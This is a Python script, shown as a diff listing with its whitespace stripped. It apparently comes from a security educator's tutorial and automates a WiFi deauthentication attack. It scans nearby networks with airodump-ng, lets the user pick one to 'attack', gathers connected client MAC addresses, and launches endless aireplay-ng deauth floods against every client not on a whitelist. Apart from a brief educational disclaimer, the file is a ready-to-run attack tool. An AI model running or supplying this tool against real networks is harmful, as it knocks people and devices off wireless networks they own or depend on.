|
| 1 | +# Disclaimer: |
| 2 | +# This script is for educational purposes only. |
| 3 | +# Do not use against any network that you don't own or have authorization to test. |
| 4 | + |
| 5 | +#!/usr/bin/python3 |
| 6 | + |
| 7 | +# We will be using the csv module to work with the data captured by airodump-ng. |
| 8 | +importcsv |
| 9 | +# If we move csv files to a backup directory we will use the datetime module to create |
| 10 | +# to create a timestamp in the file name. |
| 11 | +fromdatetimeimportdatetime |
| 12 | +# We will use the os module to get the current working directory and to list filenames in a directory. |
| 13 | +importos |
| 14 | +# We will use the regular expressions module to find wifi interface name, and also MAC Addresses. |
| 15 | +importre |
| 16 | +# We will use methods from the shutil module to move files. |
| 17 | +importshutil |
| 18 | +# We can use the subprocess module to run operating system commands. |
| 19 | +importsubprocess |
| 20 | +# We will create a thread for each deauth sent to a MAC so that enough time doesn't elapse to allow a device back on the network. |
| 21 | +importthreading |
| 22 | +# We use the sleep method in the menu. |
| 23 | +importtime |
| 24 | + |
| 25 | + |
| 26 | +# Helper functions |
| 27 | +defbackup_csv(): |
| 28 | +"""Move all .csv files in the directory to a backup directory.""" |
| 29 | +forfile_nameinos.listdir(): |
| 30 | +# We should only have one csv file, we back them up in a backup directory every time we run the program. |
| 31 | +if".csv"infile_name: |
| 32 | +print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.") |
| 33 | +# We get the current working directory. |
| 34 | +directory=os.getcwd() |
| 35 | +try: |
| 36 | +# We make a new directory called /backup |
| 37 | +os.mkdir(directory+"/backup/") |
| 38 | +except: |
| 39 | +print("Backup directory exists.") |
| 40 | +# Create a timestamp |
| 41 | +timestamp=datetime.now() |
| 42 | +# We copy any .csv files in the folder to the backup folder. |
| 43 | +shutil.move(file_name,directory+"/backup/"+str(timestamp)+"-"+file_name) |
| 44 | +print(f"Moved files to{directory}/backup directory.") |
| 45 | + |
| 46 | + |
| 47 | +defin_sudo_mode(): |
| 48 | +"""If the user doesn't run the program with super user privileges, don't allow them to continue.""" |
| 49 | +ifnot'SUDO_UID'inos.environ.keys(): |
| 50 | +print("Try running this program with sudo.") |
| 51 | +exit() |
| 52 | + |
| 53 | + |
| 54 | +deffind_nic(): |
| 55 | +"""This function is used to find the network interface controllers on your computer.""" |
| 56 | +# We use the subprocess.run to run the "sudo iw dev" command we'd normally run to find the network interfaces. |
| 57 | +result=subprocess.run(["iw","dev"],capture_output=True).stdout.decode() |
| 58 | +network_interface_controllers=wlan_code.findall(result) |
| 59 | +returnnetwork_interface_controllers |
| 60 | + |
| 61 | + |
| 62 | +defset_monitor_mode(controller_name): |
| 63 | +"""This function needs the network interface controller name to put it into monitor mode. |
| 64 | + Argument: Network Controller Name""" |
| 65 | +# Put WiFi controller into monitor mode. |
| 66 | +# This is one way to put it into monitoring mode. You can also use iwconfig, or airmon-ng. |
| 67 | +subprocess.run(["ip","link","set",wifi_name,"down"]) |
| 68 | +# Killing conflicting processes makes sure that nothing interferes with putting controller into monitor mode. |
| 69 | +subprocess.run(["airmon-ng","check","kill"]) |
| 70 | +# Put the WiFi nic in monitor mode. |
| 71 | +subprocess.run(["iw",wifi_name,"set","monitor","none"]) |
| 72 | +# Bring the WiFi controller back online. |
| 73 | +subprocess.run(["ip","link","set",wifi_name,"up"]) |
| 74 | + |
| 75 | +defset_band_to_monitor(choice): |
| 76 | +"""If you have a 5Ghz network interface controller you can use this function to put monitor either 2.4Ghz or 5Ghz bands or both.""" |
| 77 | +ifchoice=="0": |
| 78 | +# Bands b and g are 2.4Ghz WiFi Networks |
| 79 | +subprocess.Popen(["airodump-ng","--band","bg","-w","file","--write-interval","1","--output-format","csv",wifi_name],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) |
| 80 | +elifchoice=="1": |
| 81 | +# Band a is for 5Ghz WiFi Networks |
| 82 | +subprocess.Popen(["airodump-ng","--band","a","-w","file","--write-interval","1","--output-format","csv",wifi_name],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) |
| 83 | +else: |
| 84 | +# Will use bands a, b and g (actually band n). Checks full spectrum. |
| 85 | +subprocess.Popen(["airodump-ng","--band","abg","-w","file","--write-interval","1","--output-format","csv",wifi_name],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) |
| 86 | + |
| 87 | + |
| 88 | +defbackup_csv(): |
| 89 | +"""Move all .csv files in the directory to a new backup folder.""" |
| 90 | +forfile_nameinos.listdir(): |
| 91 | +# We should only have one csv file as we delete them from the folder every time we run the program. |
| 92 | +if".csv"infile_name: |
| 93 | +print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.") |
| 94 | +# We get the current working directory. |
| 95 | +directory=os.getcwd() |
| 96 | +try: |
| 97 | +# We make a new directory called /backup |
| 98 | +os.mkdir(directory+"/backup/") |
| 99 | +except: |
| 100 | +print("Backup folder exists.") |
| 101 | +# Create a timestamp |
| 102 | +timestamp=datetime.now() |
| 103 | +# We copy any .csv files in the folder to the backup folder. |
| 104 | +shutil.move(file_name,directory+"/backup/"+str(timestamp)+"-"+file_name) |
| 105 | + |
| 106 | + |
| 107 | +defcheck_for_essid(essid,lst): |
| 108 | +"""Will check if there is an ESSID in the list and then send False to end the loop.""" |
| 109 | +check_status=True |
| 110 | + |
| 111 | +# If no ESSIDs in list add the row |
| 112 | +iflen(lst)==0: |
| 113 | +returncheck_status |
| 114 | + |
| 115 | +# This will only run if there are wireless access points in the list. |
| 116 | +foriteminlst: |
| 117 | +# If True don't add to list. False will add it to list |
| 118 | +ifessidinitem["ESSID"]: |
| 119 | +check_status=False |
| 120 | + |
| 121 | +returncheck_status |
| 122 | + |
| 123 | + |
| 124 | +defwifi_networks_menu(): |
| 125 | +""" Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.""" |
| 126 | +active_wireless_networks=list() |
| 127 | +try: |
| 128 | +whileTrue: |
| 129 | +# We want to clear the screen before we print the network interfaces. |
| 130 | +subprocess.call("clear",shell=True) |
| 131 | +forfile_nameinos.listdir(): |
| 132 | +# We should only have one csv file as we backup all previous csv files from the folder every time we run the program. |
| 133 | +# The following list contains the field names for the csv entries. |
| 134 | +fieldnames= ['BSSID','First_time_seen','Last_time_seen','channel','Speed','Privacy','Cipher','Authentication','Power','beacons','IV','LAN_IP','ID_length','ESSID','Key'] |
| 135 | +if".csv"infile_name: |
| 136 | +withopen(file_name)ascsv_h: |
| 137 | +# We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. |
| 138 | +# This creates a list of dictionaries with the keys as specified in the fieldnames. |
| 139 | +csv_h.seek(0) |
| 140 | +csv_reader=csv.DictReader(csv_h,fieldnames=fieldnames) |
| 141 | +forrowincsv_reader: |
| 142 | +ifrow["BSSID"]=="BSSID": |
| 143 | +pass |
| 144 | +elifrow["BSSID"]=="Station MAC": |
| 145 | +break |
| 146 | +elifcheck_for_essid(row["ESSID"],active_wireless_networks): |
| 147 | +active_wireless_networks.append(row) |
| 148 | + |
| 149 | +print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n") |
| 150 | +print("No |\tBSSID |\tChannel|\tESSID |") |
| 151 | +print("___|\t___________________|\t_______|\t______________________________|") |
| 152 | +forindex,iteminenumerate(active_wireless_networks): |
| 153 | +# We're using the print statement with an f-string. |
| 154 | +# F-strings are a more intuitive way to include variables when printing strings, |
| 155 | +# rather than ugly concatenations. |
| 156 | +print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}") |
| 157 | +# We make the script sleep for 1 second before loading the updated list. |
| 158 | +time.sleep(1) |
| 159 | + |
| 160 | +exceptKeyboardInterrupt: |
| 161 | +print("\nReady to make choice.") |
| 162 | + |
| 163 | +# Ensure that the input choice is valid. |
| 164 | +whileTrue: |
| 165 | +net_choice=input("Please select a choice from above: ") |
| 166 | +ifactive_wireless_networks[int(net_choice)]: |
| 167 | +returnactive_wireless_networks[int(net_choice)] |
| 168 | +print("Please try again.") |
| 169 | + |
| 170 | + |
| 171 | + |
| 172 | +defset_into_managed_mode(wifi_name): |
| 173 | +"""SET YOUR NETWORK CONTROLLER INTERFACE INTO MANAGED MODE & RESTART NETWORK MANAGER |
| 174 | + ARGUMENTS: wifi interface name |
| 175 | + """ |
| 176 | +# Put WiFi controller into monitor mode. |
| 177 | +# This is one way to put it into managed mode. You can also use iwconfig, or airmon-ng. |
| 178 | +subprocess.run(["ip","link","set",wifi_name,"down"]) |
| 179 | +# Put the WiFi nic in monitor mode. |
| 180 | +subprocess.run(["iwconfig",wifi_name,"mode","managed"]) |
| 181 | +subprocess.run(["ip","link","set",wifi_name,"up"]) |
| 182 | +subprocess.run(["service","NetworkManager","start"]) |
| 183 | + |
| 184 | + |
| 185 | +defget_clients(hackbssid,hackchannel,wifi_name): |
| 186 | +subprocess.Popen(["airodump-ng","--bssid",hackbssid,"--channel",hackchannel,"-w","clients","--write-interval","1","--output-format","csv",wifi_name],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) |
| 187 | + |
| 188 | + |
| 189 | +defdeauth_attack(network_mac,target_mac,interface): |
| 190 | +# We are using aireplay-ng to send a deauth packet. 0 means it will send it indefinitely. -a is used to specify the MAC address of the target router. -c is used to specify the mac we want to send the deauth packet. |
| 191 | +# Then we also need to specify the interface |
| 192 | +subprocess.Popen(["aireplay-ng","--deauth","0","-a",network_mac,"-c",target_mac,interface]) |
| 193 | + |
| 194 | + |
| 195 | +# Regular Expressions to be used. |
| 196 | +mac_address_regex=re.compile(r'(?:[0-9a-fA-F]:?){12}') |
| 197 | +wlan_code=re.compile("Interface (wlan[0-9]+)") |
| 198 | + |
| 199 | +# Program Header |
| 200 | +# Basic user interface header |
| 201 | +print(r"""______ _ _ ______ _ _ |
| 202 | +| _ \ (_) | | | ___ \ | | | | |
| 203 | +| | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | |
| 204 | +| | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | |
| 205 | +| |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | |
| 206 | +|___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") |
| 207 | +print("\n****************************************************************") |
| 208 | +print("\n* Copyright of David Bombal, 2021 *") |
| 209 | +print("\n* https://www.davidbombal.com *") |
| 210 | +print("\n* https://www.youtube.com/davidbombal *") |
| 211 | +print("\n****************************************************************") |
| 212 | + |
| 213 | +# In Sudo Mode? |
| 214 | +in_sudo_mode() |
| 215 | +# Move any csv files to current working directory/backup |
| 216 | +backup_csv() |
| 217 | + |
| 218 | +# Lists to be populated |
| 219 | +macs_not_to_kick_off=list() |
| 220 | + |
| 221 | + |
| 222 | +# Menu to request Mac Addresses to be kept on network. |
| 223 | +whileTrue: |
| 224 | +print("Please enter the MAC Address(es) of the device(s) you don't want to kick off the network.") |
| 225 | +macs=input("Please use a comma separated list if more than one, ie 00:11:22:33:44:55,11:22:33:44:55:66 :") |
| 226 | +# Use the MAC Address Regex to find all the MAC Addresses entered in the above input. |
| 227 | +macs_not_to_kick_off=mac_address_regex.findall(macs) |
| 228 | +# We reassign all the MAC address to the same variable as a list and make them uppercase using a list comprehension. |
| 229 | +macs_not_to_kick_off= [mac.upper()formacinmacs_not_to_kick_off] |
| 230 | +# If you entered a valid MAC Address the program flow will continue and break out of the while loop. |
| 231 | +iflen(macs_not_to_kick_off)>0: |
| 232 | +break |
| 233 | + |
| 234 | +print("You didn't enter valid Mac Addresses.") |
| 235 | + |
| 236 | + |
| 237 | +# Menu to ask which bands to scan with airmon-ng |
| 238 | +whileTrue: |
| 239 | +wifi_controller_bands= ["bg (2.4Ghz)","a (5Ghz)","abg (Will be slower)"] |
| 240 | +print("Please select the type of scan you want to run.") |
| 241 | +forindex,controllerinenumerate(wifi_controller_bands): |
| 242 | +print(f"{index} -{controller}") |
| 243 | + |
| 244 | + |
| 245 | +# Check if the choice exists. If it doesn't it asks the user to try again. |
| 246 | +# We don't cast it to an integer at this stage as characters other than digits will cause the program to break. |
| 247 | +band_choice=input("Please select the bands you want to scan from the list above: ") |
| 248 | +try: |
| 249 | +ifwifi_controller_bands[int(band_choice)]: |
| 250 | +# Since the choice exists and is an integer we can cast band choice as an integer. |
| 251 | +band_choice=int(band_choice) |
| 252 | +break |
| 253 | +except: |
| 254 | +print("Please make a valid selection.") |
| 255 | + |
| 256 | + |
| 257 | +# Find all the network interface controllers. |
| 258 | +network_controllers=find_nic() |
| 259 | +iflen(network_controllers)==0: |
| 260 | +# If no networks interface controllers connected to your computer the program will exit. |
| 261 | +print("Please connect a network interface controller and try again!") |
| 262 | +exit() |
| 263 | + |
| 264 | + |
| 265 | +# Select the network interface controller you want to put into monitor mode. |
| 266 | +whileTrue: |
| 267 | +forindex,controllerinenumerate(network_controllers): |
| 268 | +print(f"{index} -{controller}") |
| 269 | + |
| 270 | +controller_choice=input("Please select the controller you want to put into monitor mode: ") |
| 271 | + |
| 272 | +try: |
| 273 | +ifnetwork_controllers[int(controller_choice)]: |
| 274 | +break |
| 275 | +except: |
| 276 | +print("Please make a valid selection!") |
| 277 | + |
| 278 | + |
| 279 | +# Assign the network interface controller name to a variable for easy use. |
| 280 | +wifi_name=network_controllers[int(controller_choice)] |
| 281 | + |
| 282 | + |
| 283 | +# Set network interface controller to monitor mode. |
| 284 | +set_monitor_mode(wifi_name) |
| 285 | +# Monitor the selected wifi band(s). |
| 286 | +set_band_to_monitor(band_choice) |
| 287 | +# Print WiFi Menu |
| 288 | +wifi_network_choice=wifi_networks_menu() |
| 289 | +hackbssid=wifi_network_choice["BSSID"] |
| 290 | +# We strip out all the extra white space to just get the channel. |
| 291 | +hackchannel=wifi_network_choice["channel"].strip() |
| 292 | +# backup_csv() |
| 293 | +# Run against only the network we want to kick clients off. |
| 294 | +get_clients(hackbssid,hackchannel,wifi_name) |
| 295 | + |
| 296 | +# We define a set, because it can only hold unique values. |
| 297 | +active_clients=set() |
| 298 | +# We would like to know the threads we've already started so that we don't start multiple threads running the same deauth. |
| 299 | +threads_started= [] |
| 300 | + |
| 301 | +# Make sure that airmon-ng is running on the correct channel. |
| 302 | +subprocess.run(["airmon-ng","start",wifi_name,hackchannel]) |
| 303 | +try: |
| 304 | +whileTrue: |
| 305 | +count=0 |
| 306 | + |
| 307 | +# We want to clear the screen before we print the network interfaces. |
| 308 | +subprocess.call("clear",shell=True) |
| 309 | +forfile_nameinos.listdir(): |
| 310 | +# We should only have one csv file as we backup all previous csv files from the folder every time we run the program. |
| 311 | +# The following list contains the field names for the csv entries. |
| 312 | +fieldnames= ["Station MAC","First time seen","Last time seen","Power","packets","BSSID","Probed ESSIDs"] |
| 313 | +if".csv"infile_nameandfile_name.startswith("clients"): |
| 314 | +withopen(file_name)ascsv_h: |
| 315 | +print("Running") |
| 316 | +# We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. |
| 317 | +# This creates a list of dictionaries with the keys as specified in the fieldnames. |
| 318 | +csv_h.seek(0) |
| 319 | +csv_reader=csv.DictReader(csv_h,fieldnames=fieldnames) |
| 320 | +forindex,rowinenumerate(csv_reader): |
| 321 | +ifindex<5: |
| 322 | +pass |
| 323 | +# We will not add the MAC Addresses we specified at the beginning of the program to the ones we will kick off. |
| 324 | +elifrow["Station MAC"]inmacs_not_to_kick_off: |
| 325 | +pass |
| 326 | +else: |
| 327 | +# Add all the active MAC Addresses. |
| 328 | +active_clients.add(row["Station MAC"]) |
| 329 | + |
| 330 | +print("Station MAC |") |
| 331 | +print("______________________|") |
| 332 | +foriteminactive_clients: |
| 333 | +# We're using the print statement with an f-string. |
| 334 | +# F-strings are a more intuitive way to include variables when printing strings, |
| 335 | +# rather than ugly concatenations. |
| 336 | +print(f"{item}") |
| 337 | +# Once a device is in the active clients set and not one of the threads running deauth attacks we start a new thread as a deauth attack. |
| 338 | +ifitemnotinthreads_started: |
| 339 | +# It's easier to work with the unique MAC Addresses in a list and add the MAC to the list of threads we started before we start running the deauth thread. |
| 340 | +threads_started.append(item) |
| 341 | +# We run the deauth_attack function in the thread with the argumenets hackbssid, item and wifi_name, we also specify it as a background daemon thread. |
| 342 | +# A daemon thread keeps running until the main thread stops. You can stop the main thread with ctrl + c. |
| 343 | +t=threading.Thread(target=deauth_attack,args=[hackbssid,item,wifi_name],daemon=True) |
| 344 | +t.start() |
| 345 | +exceptKeyboardInterrupt: |
| 346 | +print("\nStopping Deauth") |
| 347 | + |
| 348 | +# Set the network interface controller back into managed mode and restart network services. |
| 349 | +set_into_managed_mode(wifi_name) |